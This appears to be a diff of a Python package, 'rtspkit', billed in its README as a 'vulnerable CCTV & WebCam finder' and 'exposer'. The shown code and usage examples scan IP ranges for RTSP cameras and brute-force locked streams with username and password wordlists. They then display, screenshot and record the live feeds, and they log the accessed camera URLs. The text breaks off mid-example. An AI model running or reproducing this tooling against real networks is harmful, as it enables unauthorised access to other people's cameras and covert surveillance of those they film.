|
585
|
+
elif key == ord('s') or key == ord('S'):
|
|
586
|
+
fn = f"rtsp_cam_{cam.ip}_{int(time.time())}.png"
|
|
587
|
+
cv2.imwrite(fn, display_frame)
|
|
588
|
+
print(f"{Color.SUCCESS}[✓] Saved screenshot: {fn}{Color.RESET}")
|
|
589
|
+
elif key == ord('r') or key == ord('R'):
|
|
590
|
+
if not recording:
|
|
591
|
+
rec_filename = f"record_{cam.ip}_{int(time.time())}.mp4"
|
|
592
|
+
w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) or 1280
|
|
593
|
+
h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) or 720
|
|
594
|
+
fps = float(cap.get(cv2.CAP_PROP_FPS)) or 20.0
|
|
595
|
+
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
|
|
596
|
+
rec_writer = cv2.VideoWriter(rec_filename, fourcc, fps, (w, h))
|
|
597
|
+
recording = True
|
|
598
|
+
print(f"\n{Color.SUCCESS}[● STARTED RECORDING] Saving stream to {rec_filename}{Color.RESET}")
|
|
599
|
+
else:
|
|
600
|
+
recording = False
|
|
601
|
+
if rec_writer:
|
|
602
|
+
rec_writer.release()
|
|
603
|
+
rec_writer = None
|
|
604
|
+
print(f"\n{Color.SUCCESS}[■ STOPPED RECORDING] Saved to {rec_filename}{Color.RESET}")
|
|
605
|
+
|
|
606
|
+
if rec_writer:
|
|
607
|
+
rec_writer.release()
|
|
608
|
+
cap.release()
|
|
609
|
+
cv2.destroyAllWindows()
|
|
610
|
+
|
|
611
|
+
if switch_action == 'quit' or switch_action is None:
|
|
612
|
+
break
|
|
613
|
+
elif switch_action == 'next':
|
|
614
|
+
current_idx = (current_idx + 1) % len(self.cameras)
|
|
615
|
+
elif switch_action == 'prev':
|
|
616
|
+
current_idx = (current_idx - 1) % len(self.cameras)
|
|
617
|
+
|
|
618
|
+
|
|
619
|
+
def record_stream(camera: CameraInfo, duration_sec: Optional[int] = None, output_filename: Optional[str] = None):
|
|
620
|
+
"""Records live RTSP stream to a local MP4 video file."""
|
|
621
|
+
if not output_filename:
|
|
622
|
+
output_filename = f"record_{camera.ip}_{int(time.time())}.mp4"
|
|
623
|
+
|
|
624
|
+
cap = cv2.VideoCapture(camera.url, cv2.CAP_FFMPEG)
|
|
625
|
+
if not cap.isOpened():
|
|
626
|
+
print(f"{Color.ERROR}[!] Failed to open RTSP stream for recording: {camera.url}{Color.RESET}")
|
|
627
|
+
return
|
|
628
|
+
|
|
629
|
+
w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) or 1280
|
|
630
|
+
h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) or 720
|
|
631
|
+
fps = float(cap.get(cv2.CAP_PROP_FPS)) or 20.0
|
|
632
|
+
|
|
633
|
+
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
|
|
634
|
+
writer = cv2.VideoWriter(output_filename, fourcc, fps, (w, h))
|
|
635
|
+
|
|
636
|
+
dur_str = f"for {duration_sec}s" if duration_sec else "continuously (press 'q' or ESC to stop)"
|
|
637
|
+
print(f"\n{Color.SUCCESS}[● RECORDING] Recording camera {camera.ip} to '{output_filename}' {dur_str}...{Color.RESET}")
|
|
638
|
+
|
|
639
|
+
start_time = time.time()
|
|
640
|
+
frame_count = 0
|
|
641
|
+
try:
|
|
642
|
+
while True:
|
|
643
|
+
if duration_sec and (time.time() - start_time > duration_sec):
|
|
644
|
+
break
|
|
645
|
+
|
|
646
|
+
ret, frame = cap.read()
|
|
647
|
+
if not ret or frame is None:
|
|
648
|
+
print(f"{Color.WARN}[!] Stream ended or interrupted during recording.{Color.RESET}")
|
|
649
|
+
break
|
|
650
|
+
|
|
651
|
+
writer.write(frame)
|
|
652
|
+
frame_count += 1
|
|
653
|
+
|
|
654
|
+
preview = cv2.resize(frame, (500, 500))
|
|
655
|
+
elapsed = int(time.time() - start_time)
|
|
656
|
+
cv2.circle(preview, (30, 30), 10, (0, 0, 255), -1)
|
|
657
|
+
cv2.putText(preview, f"REC {elapsed}s | {camera.ip}", (50, 38), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
|
|
658
|
+
|
|
659
|
+
window_name = f"RTSP Recorder - {camera.ip}"
|
|
660
|
+
cv2.imshow(window_name, preview)
|
|
661
|
+
|
|
662
|
+
key = cv2.waitKey(1) & 0xFF
|
|
663
|
+
if key in (ord('q'), ord('Q'), 27) or cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE) < 1:
|
|
664
|
+
break
|
|
665
|
+
finally:
|
|
666
|
+
writer.release()
|
|
667
|
+
cap.release()
|
|
668
|
+
cv2.destroyAllWindows()
|
|
669
|
+
print(f"{Color.SUCCESS}[✓] Saved recorded video ({frame_count} frames) to '{output_filename}'{Color.RESET}")
|
|
670
|
+
|
|
671
|
+
|
|
672
|
+
def launch_vlc(rtsp_url: str) -> bool:
|
|
673
|
+
"""Attempts to open an RTSP stream using external VLC media player."""
|
|
674
|
+
vlc_paths = [
|
|
675
|
+
"vlc",
|
|
676
|
+
r"C:\Program Files\VideoLAN\VLC\vlc.exe",
|
|
677
|
+
r"C:\Program Files (x86)\VideoLAN\VLC\vlc.exe",
|
|
678
|
+
"/usr/bin/vlc",
|
|
679
|
+
"/Applications/VLC.app/Contents/MacOS/VLC",
|
|
680
|
+
]
|
|
681
|
+
for vlc_bin in vlc_paths:
|
|
682
|
+
try:
|
|
683
|
+
subprocess.Popen([vlc_bin, rtsp_url], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
684
|
+
print(f"{Color.SUCCESS}[✓] Launched VLC with stream: {rtsp_url}{Color.RESET}")
|
|
685
|
+
return True
|
|
686
|
+
except FileNotFoundError:
|
|
687
|
+
continue
|
|
688
|
+
except Exception as e:
|
|
689
|
+
print(f"{Color.WARN}[!] Failed to launch VLC ({vlc_bin}): {e}{Color.RESET}")
|
|
690
|
+
break
|
|
691
|
+
|
|
692
|
+
print(f"{Color.ERROR}[!] VLC media player not found on system PATH or default directories.{Color.RESET}")
|
|
693
|
+
return False
|
|
694
|
+
|
|
695
|
+
def open_single_camera_by_id(working_cameras: List[CameraInfo]):
|
|
696
|
+
"""Prompts user to select a camera ID, viewing duration, recording, or launch VLC player, and saves opened camera to file."""
|
|
697
|
+
if not working_cameras:
|
|
698
|
+
print(f"{Color.WARN}[!] No open/accessible cameras available to view.{Color.RESET}")
|
|
699
|
+
return
|
|
700
|
+
|
|
701
|
+
print(f"\n{Color.MAGENTA}Available Accessible Camera(s):{Color.RESET}")
|
|
702
|
+
for idx, cam in enumerate(working_cameras, 1):
|
|
703
|
+
res = f" ({cam.width}x{cam.height})" if cam.width else ""
|
|
704
|
+
print(f" [{idx}] {cam.ip}{res} -> {cam.url} [{cam.auth_status}]")
|
|
705
|
+
|
|
706
|
+
cam_choice = input(f"\n{Color.INFO}Enter Camera ID to open (1-{len(working_cameras)}): {Color.RESET}").strip()
|
|
707
|
+
if not cam_choice.isdigit() or not (1 <= int(cam_choice) <= len(working_cameras)):
|
|
708
|
+
print(f"{Color.ERROR}[!] Invalid Camera ID selection.{Color.RESET}")
|
|
709
|
+
return
|
|
710
|
+
|
|
711
|
+
selected_cam = working_cameras[int(cam_choice) - 1]
|
|
712
|
+
|
|
713
|
+
save_filename = "opened_cameras.txt"
|
|
714
|
+
try:
|
|
715
|
+
with open(save_filename, "a") as f:
|
|
716
|
+
f.write(f"{selected_cam.url}\n")
|
|
717
|
+
print(f"{Color.SUCCESS}[✓] Saved opened camera URL to '{save_filename}'{Color.RESET}")
|
|
718
|
+
except Exception as e:
|
|
719
|
+
print(f"{Color.WARN}[!] Failed to save opened camera to file: {e}{Color.RESET}")
|
|
720
|
+
|
|
721
|
+
print(f"\n{Color.MAGENTA}Select Viewing / Recording Option:{Color.RESET}")
|
|
722
|
+
print("1. View for 10 seconds")
|
|
723
|
+
print("2. View for 30 seconds")
|
|
724
|
+
print("3. View for 1 minute (60 seconds)")
|
|
725
|
+
print("4. View continuously (Press 'q' or ESC to stop, 'r' to record)")
|
|
726
|
+
print("5. Record video stream to MP4 file")
|
|
727
|
+
print("6. Open stream in VLC Player")
|
|
728
|
+
dur_choice = input(f"{Color.INFO}Choice (1-6) [Default: 4]: {Color.RESET}").strip()
|
|
729
|
+
|
|
730
|
+
duration_map = {"1": 10, "2": 30, "3": 60, "4": None}
|
|
731
|
+
|
|
732
|
+
if dur_choice == "6":
|
|
733
|
+
launch_vlc(selected_cam.url)
|
|
734
|
+
elif dur_choice == "5":
|
|
735
|
+
rec_dur_str = input(f"{Color.INFO}Enter recording duration in seconds [Press Enter for continuous]: {Color.RESET}").strip()
|
|
736
|
+
rec_dur = int(rec_dur_str) if rec_dur_str.isdigit() else None
|
|
737
|
+
record_stream(selected_cam, duration_sec=rec_dur)
|
|
738
|
+
else:
|
|
739
|
+
duration_sec = duration_map.get(dur_choice, None)
|
|
740
|
+
dur_str = f"for {duration_sec}s" if duration_sec else "continuously"
|
|
741
|
+
print(f"\n{Color.INFO}[▶] Playing camera {selected_cam.ip} {dur_str}...{Color.RESET}")
|
|
742
|
+
|
|
743
|
+
cap = cv2.VideoCapture(selected_cam.url, cv2.CAP_FFMPEG)
|
|
744
|
+
if not cap.isOpened():
|
|
745
|
+
print(f"{Color.ERROR}[!] Failed to open RTSP stream at {selected_cam.url}{Color.RESET}")
|
|
746
|
+
return
|
|
747
|
+
|
|
748
|
+
start_time = time.time()
|
|
749
|
+
recording = False
|
|
750
|
+
rec_writer = None
|
|
751
|
+
rec_filename = None
|
|
752
|
+
|
|
753
|
+
while True:
|
|
754
|
+
if duration_sec and (time.time() - start_time > duration_sec):
|
|
755
|
+
break
|
|
756
|
+
|
|
757
|
+
ret, frame = cap.read()
|
|
758
|
+
if not ret or frame is None:
|
|
759
|
+
print(f"{Color.WARN}[!] Stream ended or interrupted.{Color.RESET}")
|
|
760
|
+
break
|
|
761
|
+
|
|
762
|
+
if recording and rec_writer:
|
|
763
|
+
rec_writer.write(frame)
|
|
764
|
+
|
|
765
|
+
display_frame = cv2.resize(frame, (500, 500))
|
|
766
|
+
|
|
767
|
+
overlay_text = f"{selected_cam.ip} ({selected_cam.width}x{selected_cam.height})" if selected_cam.width else selected_cam.ip
|
|
768
|
+
if recording:
|
|
769
|
+
cv2.circle(display_frame, (30, 30), 10, (0, 0, 255), -1)
|
|
770
|
+
cv2.putText(display_frame, f"REC {overlay_text}", (50, 38), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
|
|
771
|
+
else:
|
|
772
|
+
cv2.putText(display_frame, overlay_text, (20, 40), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 255, 0), 2)
|
|
773
|
+
|
|
774
|
+
window_name = f"RTSP Stream - {selected_cam.ip}"
|
|
775
|
+
cv2.imshow(window_name, display_frame)
|
|
776
|
+
|
|
777
|
+
key = cv2.waitKey(30) & 0xFF
|
|
778
|
+
if key in (ord('q'), ord('Q'), 27) or cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE) < 1:
|
|
779
|
+
break
|
|
780
|
+
elif key == ord('s') or key == ord('S'):
|
|
781
|
+
fn = f"rtsp_cam_{selected_cam.ip}_{int(time.time())}.png"
|
|
782
|
+
cv2.imwrite(fn, display_frame)
|
|
783
|
+
print(f"{Color.SUCCESS}[✓] Saved screenshot: {fn}{Color.RESET}")
|
|
784
|
+
elif key == ord('r') or key == ord('R'):
|
|
785
|
+
if not recording:
|
|
786
|
+
rec_filename = f"record_{selected_cam.ip}_{int(time.time())}.mp4"
|
|
787
|
+
w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) or 1280
|
|
788
|
+
h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) or 720
|
|
789
|
+
fps = float(cap.get(cv2.CAP_PROP_FPS)) or 20.0
|
|
790
|
+
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
|
|
791
|
+
rec_writer = cv2.VideoWriter(rec_filename, fourcc, fps, (w, h))
|
|
792
|
+
recording = True
|
|
793
|
+
print(f"\n{Color.SUCCESS}[● STARTED RECORDING] Saving stream to {rec_filename}{Color.RESET}")
|
|
794
|
+
else:
|
|
795
|
+
recording = False
|
|
796
|
+
if rec_writer:
|
|
797
|
+
rec_writer.release()
|
|
798
|
+
rec_writer = None
|
|
799
|
+
print(f"\n{Color.SUCCESS}[■ STOPPED RECORDING] Saved to {rec_filename}{Color.RESET}")
|
|
800
|
+
|
|
801
|
+
if rec_writer:
|
|
802
|
+
rec_writer.release()
|
|
803
|
+
cap.release()
|
|
804
|
+
cv2.destroyAllWindows()
|
|
805
|
+
print(f"{Color.SUCCESS}[✓] Playback finished.{Color.RESET}")
|
|
806
|
+
|
|
807
|
+
|
|
808
|
+
def export_results(cameras: List[CameraInfo], output_path: str):
|
|
809
|
+
"""Exports discovered working camera details to JSON, CSV, or TXT."""
|
|
810
|
+
if not output_path:
|
|
811
|
+
return
|
|
812
|
+
|
|
813
|
+
ext = os.path.splitext(output_path)[1].lower()
|
|
814
|
+
cam_dicts = [asdict(c) for c in cameras]
|
|
815
|
+
|
|
816
|
+
try:
|
|
817
|
+
if ext == ".json":
|
|
818
|
+
with open(output_path, "w") as f:
|
|
819
|
+
json.dump(cam_dicts, f, indent=4)
|
|
820
|
+
elif ext == ".csv":
|
|
821
|
+
if cam_dicts:
|
|
822
|
+
with open(output_path, "w", newline="") as f:
|
|
823
|
+
writer = csv.DictWriter(f, fieldnames=cam_dicts[0].keys())
|
|
824
|
+
writer.writeheader()
|
|
825
|
+
writer.writerows(cam_dicts)
|
|
826
|
+
else:
|
|
827
|
+
with open(output_path, "w") as f:
|
|
828
|
+
for cam in cameras:
|
|
829
|
+
f.write(f"{cam.url}\n")
|
|
830
|
+
|
|
831
|
+
print(f"{Color.SUCCESS}[✓] Successfully exported {len(cameras)} camera record(s) to '{output_path}'{Color.RESET}")
|
|
832
|
+
except Exception as e:
|
|
833
|
+
print(f"{Color.ERROR}[!] Error exporting results to {output_path}: {e}{Color.RESET}")
|
|
834
|
+
|
|
835
|
+
|
|
836
|
+
def interactive_menu():
|
|
837
|
+
"""Interactive CLI menu when no command line arguments are supplied."""
|
|
838
|
+
print(f"{Color.BLUE}{'=' * 60}")
|
|
839
|
+
print(f"{Color.MAGENTA} RTSP Kit - Advanced Scanner & Multi-Camera Viewer")
|
|
840
|
+
print(f"{Color.BLUE}{'=' * 60}{Color.RESET}")
|
|
841
|
+
|
|
842
|
+
target = input(f"\n{Color.INFO}Enter target IP, Range, CIDR, or batch text file (e.g. 192.168.1.0/24 or targets.txt): {Color.RESET}").strip()
|
|
843
|
+
if not target:
|
|
844
|
+
print(f"{Color.ERROR}[!] Target required. Exiting.{Color.RESET}")
|
|
845
|
+
return
|
|
846
|
+
|
|
847
|
+
port = 554
|
|
848
|
+
paths = DEFAULT_RTSP_PATHS
|
|
849
|
+
|
|
850
|
+
enable_brute_input = input(f"{Color.INFO}Enable credential brute-force for locked cameras? (y/N): {Color.RESET}").strip().lower()
|
|
851
|
+
enable_brute = (enable_brute_input == 'y')
|
|
852
|
+
|
|
853
|
+
user_file = None
|
|
854
|
+
pass_file = None
|
|
855
|
+
if enable_brute:
|
|
856
|
+
uf = input(f"{Color.INFO}Path to username wordlist file [Press Enter for defaults]: {Color.RESET}").strip()
|
|
857
|
+
user_file = uf if uf else None
|
|
858
|
+
pf = input(f"{Color.INFO}Path to password wordlist file [Press Enter for defaults]: {Color.RESET}").strip()
|
|
859
|
+
pass_file = pf if pf else None
|
|
860
|
+
|
|
861
|
+
creds = None
|
|
862
|
+
if not enable_brute:
|
|
863
|
+
creds = input(f"{Color.INFO}Enter specific RTSP credentials user:pass (Press Enter to skip): {Color.RESET}").strip() or None
|
|
864
|
+
|
|
865
|
+
user_list = load_wordlist(user_file, DEFAULT_USERNAMES)
|
|
866
|
+
pass_list = load_wordlist(pass_file, DEFAULT_PASSWORDS)
|
|
867
|
+
|
|
868
|
+
scanner = RTSPScanner(
|
|
869
|
+
port=port,
|
|
870
|
+
timeout=3.0,
|
|
871
|
+
threads=50,
|
|
872
|
+
credentials=creds,
|
|
873
|
+
user_list=user_list,
|
|
874
|
+
pass_list=pass_list,
|
|
875
|
+
enable_brute=enable_brute
|
|
876
|
+
)
|
|
877
|
+
all_cameras = scanner.run_scan(target, paths)
|
|
878
|
+
working_cameras = [c for c in all_cameras if c.working]
|
|
879
|
+
|
|
880
|
+
print(f"\n{Color.HEADER}====== Scan Complete: Discovered {len(all_cameras)} Camera Host(s) ======{Color.RESET}")
|
|
881
|
+
for i, cam in enumerate(all_cameras, 1):
|
|
882
|
+
res = f" ({cam.width}x{cam.height})" if cam.width else ""
|
|
883
|
+
if cam.auth_status == "OPEN":
|
|
884
|
+
print(f"{i}. {Color.SUCCESS}[OPEN] {cam.ip}{res} -> {cam.url}{Color.RESET}")
|
|
885
|
+
elif cam.auth_status.startswith("UNLOCKED"):
|
|
886
|
+
print(f"{i}. {Color.INFO}[{cam.auth_status}] {cam.ip}{res} -> {cam.url}{Color.RESET}")
|
|
887
|
+
else:
|
|
888
|
+
print(f"{i}. {Color.WARN}[LOCKED] {cam.ip} -> Authentication required{Color.RESET}")
|
|
889
|
+
|
|
890
|
+
if not working_cameras:
|
|
891
|
+
print(f"\n{Color.WARN}No accessible (OPEN/UNLOCKED) RTSP streams found for video preview.{Color.RESET}")
|
|
892
|
+
return
|
|
893
|
+
|
|
894
|
+
export_ans = input(f"\n{Color.INFO}Save results to file? (e.g. cameras.json, cameras.txt, cameras.csv) [Enter to skip]: {Color.RESET}").strip()
|
|
895
|
+
if export_ans:
|
|
896
|
+
export_results(all_cameras, export_ans)
|
|
897
|
+
|
|
898
|
+
print(f"\n{Color.MAGENTA}Select Viewer Mode:{Color.RESET}")
|
|
899
|
+
print("1. Open Camera by ID (Timed 10s/30s/1m preview or VLC Player)")
|
|
900
|
+
print("2. PiP Multi-Camera Grid View")
|
|
901
|
+
print("3. Interactive Cycle Stream Viewer (Next/Prev)")
|
|
902
|
+
print("4. Exit")
|
|
903
|
+
choice = input(f"{Color.INFO}Choice (1-4) [Default: 1]: {Color.RESET}").strip()
|
|
904
|
+
|
|
905
|
+
if choice == "2":
|
|
906
|
+
grid = GridRenderer(working_cameras, cols=3)
|
|
907
|
+
grid.start_preview()
|
|
908
|
+
elif choice == "3":
|
|
909
|
+
viewer = SingleStreamViewer(working_cameras)
|
|
910
|
+
viewer.start_viewing()
|
|
911
|
+
elif choice == "4":
|
|
912
|
+
print(f"{Color.INFO}Exiting RTSP Kit.{Color.RESET}")
|
|
913
|
+
else:
|
|
914
|
+
open_single_camera_by_id(working_cameras)
|
|
915
|
+
|
|
916
|
+
|
|
917
|
+
def main():
|
|
918
|
+
parser = argparse.ArgumentParser(
|
|
919
|
+
description="RTSP Kit - High-performance RTSP scanner, stream validator, brute-forcer, multi-camera viewer, and recorder."
|
|
920
|
+
)
|
|
921
|
+
parser.add_argument("target", nargs="*", help="IP(s), CIDR ranges (e.g. 192.168.1.0/24), IP ranges, or text files")
|
|
922
|
+
parser.add_argument("-f", "--targets-file", type=str, help="Batch file containing target IPs/subnets (one per line)")
|
|
923
|
+
parser.add_argument("-p", "--port", type=int, default=554, help="RTSP target port (default: 554)")
|
|
924
|
+
parser.add_argument("-t", "--threads", type=int, default=50, help="Concurrent scanner threads (default: 50)")
|
|
925
|
+
parser.add_argument("--timeout", type=float, default=3.0, help="Socket & RTSP connection timeout (default: 3.0s)")
|
|
926
|
+
parser.add_argument("-c", "--credentials", type=str, help="Single RTSP authentication pair user:pass")
|
|
927
|
+
parser.add_argument("-b", "--brute", action="store_true", help="Enable credential brute-forcing for LOCKED streams")
|
|
928
|
+
parser.add_argument("-U", "--user-file", type=str, help="File containing usernames for brute forcing")
|
|
929
|
+
parser.add_argument("-P", "--pass-file", type=str, help="File containing passwords for brute forcing")
|
|
930
|
+
parser.add_argument("--probe-paths", action="store_true", help="Probe popular camera RTSP subpaths (/h264, /live/ch0, etc.)")
|
|
931
|
+
parser.add_argument("-o", "--output", type=str, help="Output file path (.json, .csv, or .txt)")
|
|
932
|
+
parser.add_argument("--mode", choices=["grid", "single", "record", "scan-only"], default="grid", help="Execution mode (default: grid)")
|
|
933
|
+
parser.add_argument("--rec-duration", type=int, help="Recording duration in seconds for record mode")
|
|
934
|
+
parser.add_argument("--grid-cols", type=int, default=3, help="Number of columns for PiP grid (default: 3)")
|
|
935
|
+
|
|
936
|
+
args = parser.parse_args()
|
|
937
|
+
|
|
938
|
+
if not args.target and not args.targets_file:
|
|
939
|
+
interactive_menu()
|
|
940
|
+
return 0
|
|
941
|
+
|
|
942
|
+
targets_input_list = list(args.target) if args.target else []
|
|
943
|
+
if args.targets_file:
|
|
944
|
+
targets_input_list.append(args.targets_file)
|
|
945
|
+
|
|
946
|
+
combined_targets = ",".join(targets_input_list)
|
|
947
|
+
|
|
948
|
+
paths = DEFAULT_RTSP_PATHS if args.probe_paths else ["", "/"]
|
|
949
|
+
user_list = load_wordlist(args.user_file, DEFAULT_USERNAMES)
|
|
950
|
+
pass_list = load_wordlist(args.pass_file, DEFAULT_PASSWORDS)
|
|
951
|
+
|
|
952
|
+
enable_brute = args.brute or bool(args.user_file or args.pass_file)
|
|
953
|
+
|
|
954
|
+
scanner = RTSPScanner(
|
|
955
|
+
port=args.port,
|
|
956
|
+
timeout=args.timeout,
|
|
957
|
+
threads=args.threads,
|
|
958
|
+
credentials=args.credentials,
|
|
959
|
+
user_list=user_list,
|
|
960
|
+
pass_list=pass_list,
|
|
961
|
+
enable_brute=enable_brute
|
|
962
|
+
)
|
|
963
|
+
all_cameras = scanner.run_scan(combined_targets, paths)
|
|
964
|
+
working_cameras = [c for c in all_cameras if c.working]
|
|
965
|
+
|
|
966
|
+
print(f"\n{Color.BLUE}====== Scan Complete: Discovered {len(all_cameras)} Camera Host(s) ======{Color.RESET}")
|
|
967
|
+
for cam in all_cameras:
|
|
968
|
+
res = f" ({cam.width}x{cam.height})" if cam.width else ""
|
|
969
|
+
if cam.auth_status == "OPEN":
|
|
970
|
+
print(f"{Color.SUCCESS}[OPEN] {cam.ip}{res} -> {cam.url}{Color.RESET}")
|
|
971
|
+
elif cam.auth_status.startswith("UNLOCKED"):
|
|
972
|
+
print(f"{Color.INFO}[{cam.auth_status}] {cam.ip}{res} -> {cam.url}{Color.RESET}")
|
|
973
|
+
else:
|
|
974
|
+
print(f"{Color.WARN}[LOCKED] {cam.ip} -> Authentication required{Color.RESET}")
|
|
975
|
+
|
|
976
|
+
if args.output and all_cameras:
|
|
977
|
+
export_results(all_cameras, args.output)
|
|
978
|
+
|
|
979
|
+
if not working_cameras:
|
|
980
|
+
print(f"{Color.WARN}[!] No accessible (OPEN/UNLOCKED) RTSP video streams found.{Color.RESET}")
|
|
981
|
+
return 0
|
|
982
|
+
|
|
983
|
+
if args.mode == "grid":
|
|
984
|
+
grid = GridRenderer(working_cameras, cols=args.grid_cols)
|
|
985
|
+
grid.start_preview()
|
|
986
|
+
elif args.mode == "single":
|
|
987
|
+
viewer = SingleStreamViewer(working_cameras)
|
|
988
|
+
viewer.start_viewing()
|
|
989
|
+
elif args.mode == "record":
|
|
990
|
+
for cam in working_cameras:
|
|
991
|
+
record_stream(cam, duration_sec=args.rec_duration)
|
|
992
|
+
elif args.mode == "scan-only":
|
|
993
|
+
print(f"{Color.SUCCESS}[*] Scan complete.{Color.RESET}")
|
|
994
|
+
|
|
995
|
+
return 0
|
|
996
|
+
|
|
997
|
+
if __name__ == "__main__":
|
|
998
|
+
sys.exit(main())
|
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: rtspkit
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: RTSPKit is a powerful vulnerable CCTV & WebCam finder, stream validator, and exposer.
|
|
5
|
+
Home-page: https://github.com/babaralijamali/rtspkit
|
|
6
|
+
Author: Babar Ali Jamali
|
|
7
|
+
Author-email: Babar Ali Jamali <babar994@gmail.com>
|
|
8
|
+
License-Expression: MIT
|
|
9
|
+
Project-URL: Homepage, https://github.com/babaralijamali/rtspkit
|
|
10
|
+
Project-URL: Repository, https://github.com/babaralijamali/rtspkit
|
|
11
|
+
Keywords: rtsp,camera,ip-camera,scanner,opencv,stream-viewer,bruteforce,pip-grid
|
|
12
|
+
Classifier: Development Status :: 5 - Production/Stable
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: Intended Audience :: System Administrators
|
|
15
|
+
Classifier: Topic :: Multimedia :: Video :: Display
|
|
16
|
+
Classifier: Topic :: Security
|
|
17
|
+
Classifier: Topic :: System :: Networking :: Monitoring
|
|
18
|
+
Classifier: Programming Language :: Python :: 3
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
23
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
24
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
25
|
+
Classifier: Programming Language :: Python :: 3.14
|
|
26
|
+
Requires-Python: >=3.8
|
|
27
|
+
Description-Content-Type: text/markdown
|
|
28
|
+
License-File: LICENSE
|
|
29
|
+
Requires-Dist: opencv-python>=4.5.0
|
|
30
|
+
Requires-Dist: numpy>=1.20.0
|
|
31
|
+
Requires-Dist: colorama>=0.4.0
|
|
32
|
+
Dynamic: author
|
|
33
|
+
Dynamic: home-page
|
|
34
|
+
Dynamic: license-file
|
|
35
|
+
Dynamic: requires-python
|
|
36
|
+
|
|
37
|
+
# RTSP Kit (`rtspkit`)
|
|
38
|
+
|
|
39
|
+
[](https://pypi.org/project/rtspkit/)
|
|
40
|
+
[](https://pypi.org/project/rtspkit/)
|
|
41
|
+
[](https://opensource.org/licenses/MIT)
|
|
42
|
+
|
|
43
|
+
**RTSPKit is a powerful vulnerable CCTV & WebCam finder, stream validator, and exposer.** It is a high-performance network scanner designed to discover, validate, audit credentials, render multi-camera video feeds, and record live RTSP video streams across IP networks.
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Key Features
|
|
48
|
+
|
|
49
|
+
- **Parallel Port & Stream Validation**: High-concurrency network socket scan and RTSP stream verification.
|
|
50
|
+
- **RTSP Subpath Probing**: Automatic route scanning for popular IP camera routes (`/h264`, `/live/ch0`, `/stream1`, `/onvif1`, etc.).
|
|
51
|
+
- **Credential Brute-Forcing**: Custom credential pair testing and dictionary attack modes for locked camera streams.
|
|
52
|
+
- **Non-Blocking Multi-Camera Grid View**: Real-time Picture-in-Picture (PiP) layout renderer powered by background frame readers.
|
|
53
|
+
- **Stream Recording Mode**: Timed or manual on-demand recording of live RTSP streams to `.mp4` video files.
|
|
54
|
+
- **VLC Integration**: Launch streams directly inside external VLC Media Player.
|
|
55
|
+
- **Metadata Extraction & Export**: Automatically logs video resolution and FPS metadata to JSON, CSV, or TXT formats.
|
|
56
|
+
- **CLI & Python API**: Fully operational as both a command-line tool (`rtspkit`) and a Python library module (`import rtspkit`).
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
## Installation
|
|
61
|
+
|
|
62
|
+
Install `rtspkit` directly from PyPI using `pip`:
|
|
63
|
+
|
|
64
|
+
```bash
|
|
65
|
+
pip install rtspkit
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Quickstart & Usage
|
|
71
|
+
|
|
72
|
+
### 1. Command Line Interface (CLI)
|
|
73
|
+
|
|
74
|
+
#### Interactive Mode (Wizard)
|
|
75
|
+
Run `rtspkit` without positional parameters to open the step-by-step interactive setup wizard:
|
|
76
|
+
```bash
|
|
77
|
+
rtspkit
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
#### Basic Subnet Scan & Multi-Camera Grid View
|
|
81
|
+
Scan a `/24` subnet and launch a 3-column PiP video grid:
|
|
82
|
+
```bash
|
|
83
|
+
rtspkit 192.168.1.0/24
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
#### Path Probing & Dictionary Brute-Force
|
|
87
|
+
Probe common RTSP paths and execute credential brute-forcing:
|
|
88
|
+
```bash
|
|
89
|
+
rtspkit 192.168.1.0/24 --probe-paths -b -U usernames.txt -P passwords.txt -o results.json
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
#### Single Camera Inspector Mode
|
|
93
|
+
Interactive stream reader (`n` = next, `p` = previous, `s` = screenshot, `r` = record, `q` = quit):
|
|
94
|
+
```bash
|
|
95
|
+
rtspkit 192.168.1.0/24 --mode single
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
#### Record Live Streams
|
|
99
|
+
Record active streams for 30 seconds:
|
|
100
|
+
```bash
|
|
101
|
+
rtspkit 192.168.1.50 --mode record --rec-duration 30
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
### 2. Programmatic Python API
|
|
107
|
+
|
|
108
|
+
You can also import and use `rtspkit` inside your own Python projects:
|
|
109
|
+
|
|
110
|
+
```python
|
|
111
|
+
from rtspkit import RTSPScanner, GridRenderer, SingleStreamViewer
|
|
112
|
+
|
|
113
|
+
# Initialize scanner
|
|
114
|
+
scanner = RTSPScanner(port=554, timeout=3.0, threads=50)
|
|
115
|
+
|
|
116
|
+
# Scan target IP network or host list
|
|
117
|
+
cameras = scanner.run_scan(targets=["192.168.1.100"], paths=["", "/live/ch0"])
|
|
118
|
+
|
|
119
|
+
for cam in cameras:
